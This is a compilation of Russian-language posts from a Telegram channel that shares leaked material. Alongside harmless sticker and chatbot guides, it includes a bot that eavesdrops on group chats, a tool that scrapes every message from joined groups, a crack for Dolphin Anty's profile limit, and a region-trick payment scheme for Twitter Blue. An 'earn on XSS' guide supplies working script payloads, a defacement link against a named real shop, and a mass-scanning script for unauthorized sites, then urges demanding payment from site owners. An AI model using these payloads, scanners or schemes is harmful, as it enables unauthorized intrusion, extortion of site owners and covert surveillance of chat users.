https://t.me/slivmens

Создаем бота-подслушку на Python

2024-04-24T21:31:24.882Z

Для начала установим aiogram и создадим бота. Открываем консоль ( win+r ) и вводим:

pip install aiogram

Далее переходим в BotFather и создаем бота. Переходим в настройки нашего бота и выключаем 'Privacy mode'. Это делается для того, чтобы бот имел возможность читать сообщения в чатах, куда он был добавлен

2) Создаем папку и в ней 3 файла:

config.py
main.py
user_handler.py

Давайте теперь создадим конфиг для нашего проекта, где будет храниться приватная информация. Открываем файл config.py и прописываем в нем следующий код:

class Settings(object):

    """
    Класс настроек
    """
    
    # Все вариации сообщения которые обрабатываются
    all_variants = ['Куплю аккаунт', 'куплю аккаунт', 'куплю акаунт', 'куплю аккаунт', 'купи аккаут', 'Куплю ак',
          'Куплю аккаунт', 'Куплю аккоунт', 'Купить аккаунт', 'Купи аккаунт', 'Купи аккаунт дёшево', 'КУПЛЮ АККАУНТ',
          'куплю акаунт', 'купит аккаут', 'Куплю аккаунт в топе', 'покуплю акаунт', 'аккаунт куплю', 'куплю аккаунт в игре',
          'куплю аккаунт дорого', 'куплю аккаунт ', 'Куплю аккаунт', 'КуПлю акк']
    
    # Токен бота
    token = ' ТУТ ВПИШИТЕ ТОКЕН БОТА '

    # Чат , куда приходят уведомления
    chat_id = ' ТУТ ПИШЕМ АЙДИ ЧАТА '

Отлично. Мы создали конфиг нашего будущего бота.

Теперь мы оформим файл запуска. Бот ведь должен как-то запускаться. Открываем файл main.py.

Для начала импортируем все что нам потребуется :

import asyncio
import logging

from aiogram import Bot, Dispatcher
from aiogram.fsm.storage.memory import MemoryStorage
from aiogram.enums.parse_mode import ParseMode

from user_handler import router

from config import Settings

Отлично. Теперь создадим функцию для запуска.

async def start():

    """
    Функция запуски бота
    """

    bot = Bot(token=Settings.token, parse_mode=ParseMode.HTML) # Создаем экземпляр бота
    dp = Dispatcher(storage=MemoryStorage()) # Создаем диспетчер и указываем хранилище

    dp.include_router(router) # Подключаем роутер , рассмотрим его позже

    me = await bot.get_me()
    print('Started')
    print(me.username)
    logging.basicConfig(level=logging.INFO) # Подключаем логирование

    try:
        await bot.delete_webhook(drop_pending_updates=True) # Удаляем вебхуки
        await dp.start_polling(bot) # Бот работает в режиме Long Polling

    except Exception as e:
        print(e)

Давайте теперь пропишем код для запуска нашей функции.

# запускаем бота
if __name__ == "__main__":
    try:
        asyncio.run(start())
    except (KeyboardInterrupt, SystemExit):
        print('Bot stopped')

Мы добрались до финальной части разработки. Открываем файл user_handler.py и импортируем все что потребуется.

from aiogram import Router, Bot
from aiogram.filters import BaseFilter
from aiogram import types
from config import Settings

Создаем фильтр, чтобы отлавливать сообщения только из чатов.

class IsGroup(BaseFilter):
    async def __call__(self, message: types.Message) -> bool:
        return message.chat.type == 'group'

Создаем роутер, именно он позволяет нам удобно разделять код хэндлеров в различных файлов и соединять в основном.

router = Router()

Теперь напишем сам обработчик на сообщения.

@router.message(IsGroup())
async def get_messages(message: types.Message, bot : Bot):

    """
    filter: Проверка на группу
    :params Messsage, Bot:

    Если сообщение содержит в себе нужный текст, отправляем увед. в наш чат
    """

    if message.text in Settings.all_variants:
        await bot.send_message(chat_id=Settings.chat_id, text=
                               f'<b> Человек хочет купить аккаунт</b>\n'
                               f'<b>Юзернейм:</b> @{message.from_user.username}\n'
                               f'<b>Айди:</b> {message.from_user.id}\n'
                               f'<b>Полное имя:</b> {message.from_user.full_name}')

Вот мы и закончили разработку! Осталось запустить и потестить. Вводим в консоли:

python main.py

Таким образом мы запустили нашего бота, не забудьте заполнить конфиг своими данными. Создаем чат и добавляем туда бота:

Вводим сообщение в чате:

Бот присылает уведомление в наш чат:

Таким образом, вы можете менять тексты на свои и подслушивать сообщения любого вида. Все зависит от ваших требований.

Dolphin Anty 1000+ профилей бесплатно

2024-04-01T19:50:06.659Z

Установка:

Для начала устанавливаем python - https://www.python.org/downloads/.

В установщике обьязательно ставим галочку на ADD PATH.

Скачиваем скрипт - https://github.com/IsNaRm/dolphin-free-botsforge.

Распаковываем заходим в консоль прописываем путь папки и вводим - pip install -r requirements.txt.

Заходим в папку browsers и копируем файл - app.asar.

Нажимаем пкм по Dolphin Anty - расположение файла - папка resources и вставляем скопированный файл с заменой.

Возвращаемся в папку с софтом и запускаем - start.bat. Если у вас появилось это значит софт запустился и работает.

Если у вас закрывается консоль значит не установились библиотеки.

Запускаем Dolphin Anty и видим снизу такую надпись значит все установилось и работает.

ВАЖНО

Создаем 10 профилей, закрываем консоль заходим в Dolphin и удаляем все профили ( они останутся в софте ), запускаем start.bat заходим обратно в Dolphin и создаем еще 10 профилей и повторяем столько сколько вам нужно.

Возможные проблемы

Если у вас кнопка START будет серая:

Нужно переместить и разархивировать файлпо пути C:\Users{имя пользователя}\AppData\Roaming\dolphin_anty\browser.

Покупаем галочку Twitter blue за 2.2$

2024-03-20T20:36:26.762Z

1. Заходим в любой шоп аккаунтов твиттера например дарк стор / фан пей:

Тут как говорится на вкус и цвет можно взять новорег, можно старорег. Но аккаунты советую покупать 2008-2013 года.

2. Заходим в аккаунт - меняем регион на Нигерия

Нажмите "Страна" и выберите нигерия. Нажмите "Согласиться" и "Продолжить".

3. Оставляем аккаунт на 24 часа без действий и потом заходим с прокси Нигерии (прокси можно взять любые по запросу "прокси нигерии" в браузере), ставим на аккаунт твиттера дату рождения.

Ставим оплату галочки - указываем нашу карту с которой будет списываться оплата за подписку (с балансом).

Списывается по валюте Нигерии 2.2$ (подписку выдают в течение 3-6 часов, если сделали неправильно то в пределах 5 дней).

Карту можно выпустить на сайте https://epn.net/ (например), гео карты не влияет особо, карту можете взять в любом месте.

4. Убираем прокси / заходим в регион ставим нужный нам.

Создаём своего Telegram/Discord бота с GPT-4 бесплатно

2024-03-19T14:51:19.870Z

Для начала заходим на https://www.coze.com/sign и создаём там аккаунт через Google, в России доступно без ВПН.

Устанавливаем юзернейм:

Нажимаем Create bot:

Добавляем боту имя и описание, загружаем аватарку

Далее мы попадаем в окно настройки бота:

По умолчанию у бота уже выбран GPT-4, но для больших возможностей (поиск в интернете, генерация изображений и т.д.) лучше добавить плагины:

Для своего бота я добавил:

1. Google Web Search

2. Google Images Search

3. GitHub

4. X

5. DALLE 3 - для генерации изображений

6. YouTube

7. Wikipedia

8. WebPilot - бот сможет получать информацию с сайтов по ссылке

Слева по желанию можно добавить кастомный промпт боту, рассказать ему, от чьего имени он будет отвечать:

Также можно добавить Knowledge - заранее подготовленные ответы на вопросы пользователей, рассказать ему о чём-то малоизвестном. Базу данных знаний можно добавить в виде Word-документа, ссылки на сайт:

Тут всё целиком на ваших фантазиях. Перейдём наконец к созданию Telegram и Discord ботов. Для этого справа вверху тыкаем Publish:

У нужных нам платформ выбираем Configure:

Для Telegram и Discord нужно ввести только токен. Если у вас ошибка "Please check whether the discord bot intents is correct" при вводе Discord токена, значит вы не включили эти настройки на странице настроек Discord бота:

Ставим галочки у Telegram, Discord, остальные убираем:

И, наконец, тыкаем справа сверху Publish!

Здесь мы можем открыть бота на этих платформах!

Можно также использовать своего GPT-4 онлайн, на странице настроек в разделе Preview, для этого не обязательно добавлять Telegram и Discord:

Telegram Pro Poster - Глубокая автоматизация Telegram постов.

2024-03-09T08:23:23.846Z

Источник: https://xss.is/threads/110019/
Автор: https://xss.is/members/285214/ (Pepe)

https://t.me/slivmens

Представляю вам бота который в автономном режиме может управлять множеством каналов в Telegram.

Бот имеет широкий спектр настроек:
- Авто копирования постов с донорских каналов
- Фильтр сигнатур канала
- Фильтр дубликатов
- Фильтр рекламных постов
- Фильтр фото
- Фильтр видео
- Фильтр альбомов
- Фильтр текста
- Фильтр ссылок/гиперссылок
- Уникализация скопированных постов с помощью ChatGPT
- Перевод скопированного поста на 8 языков

Вы можете управлять неограниченным количество каналов и подключать к каждому каналу неограниченное кол-во доноров как источник потока информации.

Бот использует клиент и апи телеграм, что означает, что копировать посты можно даже с закрытых каналов.

Так же есть блок-лист слов, который можно пополнять с помощью команд в боте.

Можно добавить свою сигнатуру под каждый пост.

Проект написан полностью на Python.
Быстрый запуск с config.py
Управление полностью в Telegram.

Краткое руководство:
1. Запускаем бота
2. Добавляем его в наши каналы
3. Подписываемся на каналы откуда будет воровать посты
4. Пересылаем боту сообщение из нашего донора
5. Настраиваем донора как нам угодно
6. Включаем авто постинг
7. Наблюдаем!

До каждого донора и канала можно настроить персональные настройки.

Скачать - https://t.me/slivmens

OSINTgram for xss

2024-02-29T20:01:14.798Z

Простенький скрипт для телеграма.

Для чего?
Как видим из названия - для OSINT. Это этакий Telegram Search Engine на минималках. (Хотя если у вас 100+ аккаунтов, то можно переплюнуть как TeleSint + TeleScan вместе взятые)

Что может?
+ Собирает ВСЕ сообщения со всех групп куда вы вступили. Кто писал, куда писал, что писал и когда писал.
+ Записывает все в БД.
+ Если знакомы со SQL то можете
Производить поиск по ID:
Смотреть в каких чатах был замечен пользователь
Смотреть ВСЕ сообщения одного пользователя
Смотреть все сообщения в группе
Смотреть в каких группах состоит пользователь по ID

Что делать?
Просто запускаете бота, вступаете в группы со своего (лучше со спецально созданного для этого аккаунта)

Какие перспективы для дальнейшего развития?
Можно дописать, что бы скачивал все вложения со всех групп.
Уведомления по ключевым словам, например "тел", "связ", "mail" и т.д.
Доработка с выдиранием мета-тегов из файлов "на лету"
Да собственно, что угодно. Макет настолько универсален, что кажется возможности безграничны.

Язык программирования: Python 3+
Зависимости
Python: Скопировать в буфер обмена

pip install asyncio
pip install telethon -U

Структура DB
SQL: Скопировать в буфер обмена

CREATE TABLE "messages" (
    "user_id"    INTEGER NOT NULL,
    "channel_id"    INTEGER NOT NULL,
    "message_id"    INTEGER NOT NULL,
    "channel_username"    TEXT NOT NULL,
    "message"    TEXT NOT NULL,
    "timestamp"    INTEGER NOT NULL
);

Получить api_id и api_hash тут

Автор: Guron_18 для xss.is

Источник: https://xss.is/threads/109307/

Скачать - https://t.me/slivmens - https://t.me/c/1441750002/3585

Наш чат - https://t.me/slivmenss_chat

Слив курсов - https://t.me/slivmens_sklad

Скрины:

Как создать стикеры тг без навыков в дизайне

2024-02-26T06:52:17.644Z

Эта статья - пошаговое пособие как создать уникальный стикер пак в Telegram для (себя / друга / на заказ) при помощи нейросетей.

Введение

Одним из решений было заказать стикеры у иллюстратора, но цены от 2500 до 6000 руб нас не сильно обрадовали.

Так мы пришли к тому, что будем делать все через нейронку Dalle-3, с HD модулем, которая более вдумчиво генерирует изображения.

Ну и раз этот путь был пройден, то почему и не написать краткое руководство от А до Я и дать примеры текстовых запросов, чтобы и вы могли с легкостью создать что-то уникальное!

Подготовительная часть

Для генерации Dalle-3 и ChatGPT используется бот @GPT35bot.

При генерации изображений обязательно выбирайте «🗃️ Файл» , «HD» и «1024х1024», в ином случае вы не получите достойный результат!

Основная часть

Начнем с подготовки запроса для персонажа. На этом этапе нам не нужны позы и эмоции, нам нужно зажать генерацию в рамки и каждый раз получать плюс минус одинаковый результат.

Наш персонаж — это человекоподобный круг, основанный на моём аватаре.

logo и старый стикерпак

Было бы куда проще если персонаж изначально был животным, человеком или предметом, а не антропоморфный круг.

Для данного персонажа был подобран следующий запрос.

Запрос для Dalle-3 HD

Стилизованный, антропоморфный персонаж, крутой персонаж, состоящий из белого круга с жирной черной обводкой. У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды.

Dalle плохо понимает концепцию круга в круге и пытается нарисовать мишень, было решено использовать круг как основу.

пример генераций

Отлично, мы зажали Dalle в рамки и теперь она выдает одинаковый результат.

Теперь нам нужно придумать позы и эмоции для персонажа:

Запрос для ChatGPT

Нам нужно создать 12 стикеров для телеграмм с нашим персонажем, придумай 12 поз и эмоций который могут быть использованы в стикер паке.

В дальнейшем можем опираться на полученный список.

1. Радость - персонаж с широкой улыбкой, обнимает самого себя, глаза сияют.

2. Смех - персонаж с открытым ртом, наклонен головой назад, видны зубы, руки держат живот.

3. Сюрприз - персонаж с широко открытыми глазами и ртом, руки у щек.

4. Сердитость - недовольный персонаж с нахмуренными бровями и сжатыми губами, руки скрещены на груди.

5. Плач/грусть - персонаж с грустным лицом, слёзы на глазах, рука у wiping away a tear.

6. Влюблённость - персонаж с сердечками в глазах, руки на сердце и слегка покрасневшие щеки.

7. Испуг - персонаж с пристальным, испуганным взглядом, руки у лица, как будто пытается защитить себя.

8. Задумчивость - персонаж с руки под подбородком, глаза смотрят вверх или в сторону.

9. Усталость/сонливость - персонаж с полузакрытыми глазами, зевает, руки растянуты вверх или висят без сил.

10. Празднование - весёлый персонаж с поднятыми вверх руками, могут быть конфетти или взлетающий шарик.

11. Клоун - персонаж с клоунской рожицей, показывает длинный язык и моргает одним глазом.

12. Спокойствие/релакс - персонаж с закрытыми глазами и мирным выражением лица, руки за головой или в позе лотоса.

Остается самое простое - генерация картинок для будущего пака.

Правим запрос с учетом позы персонажа и добавляем информацию, что это стикер на черном фоне.

Обновленный запрос для Dalle-3 HD

стилизованный, антропоморфный персонаж, крутой персонаж, состоящий из белого круга с жирной черной обводкой. У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды.

Персонаж показывает лайк.

Фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для Телеграм

пример генерации с обновленным запросом и использованием поз и эмоций

Полный список всех запросов

В среднем на 1 стикер уходит от 1 до 5 генераций, все зависит от ваших идей!

В моем случае еще требовалась пост обработка в виде красных кругов.

Сжимаем изображение до разрешения 512х512 px. и вырезаем черный фон используя любой графический редактор нп. PS/PaintNET

(можно использовать бесплатные сервисы)

Adobe Express - PNG Resize и Adobe Express - background remover

Открываем @Stickers, нажимаем /newpack и следуя инструкциям, загружаем свои стикеры.

По итогу получаем отличный результат:

Надеюсь, данная статья поможет создать вам свой стикер пак или заработать на их создании)

Ссылка на канал - https://t.me/slivmens

Наш чат - https://t.me/slivmenss_chat

Слив курсов - https://t.me/slivmens_sklad

Полный список всех запросов

2024-02-26T06:49:56.177Z

Персонаж держит график криптовалюты который устремляется ввысь

фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для теоеграм

Персонаж держит красный график криптовалюты, график падает, падение криптовалюты, грустно

фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для телеграм

стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды

Персонаж показывает лайк

фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для телеграм

стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды

Персонаж с ноутбуком

фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для телеграм

стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги

Персонаж спит под одеялком

фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для телеграм

стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды, на голове военна каска

Персонаж сложил руки в зловещую позу, на заднем фоне взрывы и ракеты

фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для телеграм

стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды

Персонаж с веревкой на шее повис на елке и делает вид что умер

фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для телеграм

стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды

Персонаж притворился мертвым, лежит на полу,очки разбиты, глаза крестики, надпись над персонажем Потрачено

фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для телеграм

стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги

Персонаж полностью укутался в плед и смотрит с удивлением в даль, видно только лицо

фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для телеграм

стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды

Персонаж разбивает ногой сообщение с спектрограммой и синей кнопкой плей

фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для телеграм

Зарабатываем на XSS уязвимости

2024-02-17T20:45:53.488Z

И так, зарабатывать мы с вами будем на поиске XSS уязвимости на сайтах.

Алгоритм работы:

1. Ищем сайт с XSS уязвимостью

2. Связываемся с поддержкой сайта

3. Просим у них деньги за обнаружение уязвимости

Для начала вам необходимо ознакомиться с тем, что такое XSS уязвимость

XSS (Cross-Site Scripting) - уязвимость позволяющая вам выполнять свой JS (JavaScript) код на чужом сайте, за счёт чего вы можете взламывать его пользователей, красть их данные, подменять код сайта и многое другое))

Для проверки сайта на наличие XSS уязвимости достаточно вставить в поисковую строку следующий JS код.

⁡⁡<script>alert("XSS")</script>⁡

Для примера возьмём сайт stolplit.ru:

Т.е если на сайте появляется уведомление с надписью «XSS», то на нём есть уязвимость.

Самый простой способ эксплуатации XSS уязвимости - подмена кода сайта. Для неё достаточно просто вставить следующий JS код в поисковую строку

⁡⁡<script>document.body.innerHTML = "<H1 style='color: black; text-align: center;'>C 01.05.2024 сайт перестаёт работать</H1>";</script>⁡

Опасность тут в том, что любой кто перейдёт по этой ссылке на сайт, увидит именно наш html код, а не html код сайта. Можете перейти по ссылке ниже и убедиться в этом:

https://www.stolplit.ru/internet-magazin/search/?is_submit=Y&product_title=⁡⁡<script>document.body.innerHTML+=+"<H1+style='color:+black;+text-align:+center;'>C+01.05.2024+сайт+перестаёт+работать</H1>";</script>⁡

Поиск сайтов с уязвимостью

Сайты с XSS уязвимостью можно искать и вручную, но, тогда большая часть нашего времени будет уходить впустую. Я написал python скрипт для массовой проверки сайтов на наличие XSS уязвимости.

1. Загружаем установочный файл Python3 с официального сайта.

https://www.python.org/downloads/release/python-3115/

2. Запускаем установочный файл и следуем иснтрукциям по установке.

при установке необходимо выбрать опцию "Add Python 3.x to PATH".

3. После установки Python3, открываем командную строку (cmd), и вводим следующие команды

⁡⁡pip install bs4⁡

⁡⁡⁡⁡pip install requests⁡

⁡⁡pip install colorama⁡

4. Создаем папку, например WORK. В этой папке создаём 2 файла - main.py и site.txt

5. В файл main.py необходимо вставить код предоставленный ниже

Код Python:

from colorama import init, Fore, Back, Style
from bs4 import BeautifulSoup as bs
import requests

from urllib.parse import urljoin
from pprint import pprint
import time


headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36"
}

init(autoreset=True)


def stop(stop_time):
    now_time = time.time()
    if stop_time - now_time <= 0:
        return True

def save(url):
    file = open("goods.txt", "a")
    file.write(f"{url}\n")
    file.close()

def scan_xss(url, stop_time, timeout):
    stop_time = time.time() + stop_time

    html = requests.get(url, headers=headers, timeout=timeout)
    soup = bs(html.content, "html.parser")
    forms = soup.find_all("form")
    js_script = "<Script>alert('XSS')</scripT>"
    is_vulnerable = False
 
    for form in forms:
        if stop(stop_time):
            break
        details = {}

        action = form.attrs.get("action")
        method = form.attrs.get("method", "get")
 
        if action != None and not(action.startswith("javascript")):
            action = action.lower()
            method = method.lower()
        else:
            break

        inputs = []
        for input_tag in form.find_all("input"):
            input_type = input_tag.attrs.get("type", "text")
            input_name = input_tag.attrs.get("name")
            inputs.append({"type": input_type, "name": input_name})
        details["action"] = action
        details["method"] = method
        details["inputs"] = inputs
        form_details =  details
        target_url = urljoin(url, form_details["action"])
        inputs = form_details["inputs"]
        data = {}

        for input in inputs:
            if input["type"] == "text" or input["type"] == "search":
                input["value"] = js_script
            input_name = input.get("name")
            input_value = input.get("value")
            if input_name and input_value:
                data[input_name] = input_value

        if form_details["method"] == "post":
            content = requests.post(target_url, data=data, headers=headers, timeout=timeout).content.decode('latin-1')
        else:
            content = requests.get(target_url, params=data, headers=headers, timeout=timeout).content.decode('latin-1')

        if js_script in content:
            save(url)
            print(f"{Fore.RED}[+] XSS Detected on {url}{Style.RESET_ALL}\n[*] Form details:")
            pprint(form_details)


if __name__ == "__main__":
    urls = open('site.txt', 'r', encoding="UTF-8")
    for element in urls:
        url = element.replace("\n", "")
        print(f"\033[37m{url}")
        # Максимальное время проверки одного сайта в секундах (не менее 180)
        stop_time = 180
        # Максимальное время ожидания ответа от сайта в секундах (не менее 15)
        timeout = 20
        try:
            scan_xss(url, 180, 20)
        except:
            pass # ваще похуй

    urls.close()

Для того, что бы скрипт начал искать уязвимость на сайтах необходимо вставить список сайтов в файл site.txt, открыть в CMD папку WORK и ввести следующую команду:

⁡python main.py⁡

После запуска скрипт начнёт проверять сайты из файла на наличие XSS уязвимости, если он обнаружит сайт с уязвимостью, то выведет красным цветом его url и белым дополнительную информацию (где конкретно он нашёл уязвимость), а так же запишет url сайта в файл goods.txt.

Важное уточнение: возможны ложные срабатывания скрипта (может вывести сайт без уязвимости), поэтому всегда перепроверяйте сайт вручную.

Откуда брать сайты?

Самое сложное в этом способе заработка - достать список сайтов. Я расскажу вам о способе которым сам пользовался:

Заходим на любой сайт для выгрузки топ 100 сайтов из яндекса или гугла, например https://pr-cy.ru/tools/check-keywords/

Вводим произвольный поисковой запрос, например «Купить мебель с доставкой спб», указываем глубину поиска - топ 100, выбираем любой регион и жмём на кнопку «Проверить»

После недолгого ожидания мы получаем 100 ссылок, их нужно скопировать и вставить в файл site.txt.

Cвязываемся с поддержкой

После того как скриптом был найден сайт с уязвимостью, первым делом вы перепроверяете наличие уязвимости на сайте. Если она и в правду есть, то вы ищите почту поддержки сайта и пишите на неё о том, что нашли на сайте опасную уязвимость.

Всё общение с поддержкой сайта сводится к отправке текста по шаблону, ниже привёл пример успешного диалога с поддержкой сайта.

FAQ

Нарушает ли эта тема закон? (272 статью УК. РФ)

Ответ от юриста: «Как гласит Статья 272 УК РФ, Неправомерный доступ к охраняемой законом компьютерной информации, если это деяние повлекло уничтожение, блокирование, модификацию либо копирование компьютерной информации. В нашем случае доступ к какой-либо информации не осуществляется, мы показываем лишь способ. XSS уязвимость позволяет выполнять код на стороне клиента, то есть публичной подмены кода сайта не осуществляется. XSS это не взлом и мы не сразу получаем доступ к информации как например sql, XSS это способ. Кроме того, исходя из субъективной стороны данного преступления, как таковой корысти в данном случае мы не имеем, это этичный хакинг (Хотя его даже хакингом назвать нельзя). Субъективная сторона предусматривает цель, мотив. Цели взлома сайта, его пользователей у нас нет. Мотив понятие большое, и то что мы лишь после того как отправили сообщение об обнаруженной уязвимости просим деньги, не говорит о том что мы хотели этого с самого начала, мы хотим получить благодарность за свою работу. Соответственно, заявить на нас что мы с корыстной взломали их сайт и требуем выкуп никто не сможет.»

Как устранять уязвимость?

Для устранения уязвимости достаточно фильтровать текст вводимый пользователем, например убирать из его запроса следующие символы: <, >, /, (, ). Если вы не имеете значительного опыта в веб разработке, то не беритесь за устранение уязвимости, есть риск только ухудшить ситуацию.

Что писать в тех. поддержку?

Здравствуйте, я нашёл достаточно опасную уязвимость на вашем сайте (домен сайта), продемонстрировать?

У вас на сайте XSS уязвимость, т.е сайт выполняет любой мой JS код на стороне пользователя. Это может привести к подмене кода сайта, краже данных пользователей, их аккаунтов или созданию фейковых уведомлений. Для устранения достаточно просто фильтровать данные вводимые пользователем, например убирать <, >, /, (, ) из запроса.
Вот один из самых простых примеров эксплуатации данной уязвимости - подмена HTML кода сайта (и стилей CSS)
формируем JS код
<script>document.body.innerHTML = "<H1 style='color: black; text-align: center;'><br>C 01.05.2024 сайт перестаёт работать</H1>";</script>
вставляем его в поисковую строку на вашем сайте, выполняем запрос и получаем результат
(Фото с выполнением JS кода на сайте)
Опасность тут в том, что любой кто перейдёт по ссылке увидит именно мой html код, а не html код сайта (можете перейти и убедиться)
(Ссылка на их сайт с выполняющимся JS кодом)

Дальше отвечайте в зависимости от развития диалога.

Спрашивают сколько перевести, какую сумму называть?

Я всегда называл 3-5к и получал эту сумму, наглеть и просить больше тут явно не стоит.

Создаем собственного локального ИИ чат-бота с помощью lmstudio.ai

2024-01-31T15:48:41.626Z

Минимальные системные требования

Процессор поддерживающий AVX или AVX2
От 8 ГБ оперативной памяти (рекомендуется 16 ГБ)
Пару десятков ГБ памяти на жестком диске
Не обязательно, но так же рекомендуется иметь хоть какую-то видеокарту

Инструкция

Для начала необходимо понять, поддерживает ли наш процессор AVX2. Для этого открываем панель управления, наконец-то узнаем, какой у нас стоит проц и гуглим, поддерживает ли он AVX2.

Для процессоров которые поддерживают AVX2

Переходим на сайт lmstudio.ai

Ищем свою ОС и скачиваем установщик для нее. Далее запускаем инсталлер, после чего программа сама установится на Диск C.

Для процессоров которые поддерживают только AVX

Переходим на сайт lmstudio.ai и нажимаем на текст LM studio Beta Releases.

Видим такую картину, как на скриншоте ниже и листаем в самый низ.

Нажимаем на LM-Studio-0.2.10-Setup-avx-beta-4.exe и скачиваем установщик.

Запускаем инсталлер, после чего программа сама установится на Диск C.

Скачиваем модель чат-бота

Запускаем программу. Смотрим налево и ищем кнопочку с лупой и нажимаем на нее.

Ищем любую модель себе по душе. Лучше всего lmstudio поддерживает gguf формат, так что в приоритете ищем модели именно с этим форматом.

Нажимаем на модельку, после чего справа появятся все версии модели. Лично я использую llama2_7b_chat_uncensored.Q4-K-M.gguf.

Используем нашего чат-бота

Опять смотрим на сайдбар и кликаем на кнопку с эмодзи сообщения.

Сверху жмем на широкую кнопочку и выбираем модель, которую мы скачали ранее.

Ждем пока наша модель загрузится и... начинаем общаться.

Как задать prompt и использовать видеокарту

На правом сайдбаре мы видим такую картину:

В System prompt / Pre-prompt пишем наш промпт.

Включаем GPU Acceleration и по-немногу добавляем слои, это ускорит работу чат-бота.

После всего проделанного перезагружаем бота (желтая кнопка снизу у набора сообщения) и кайфуем.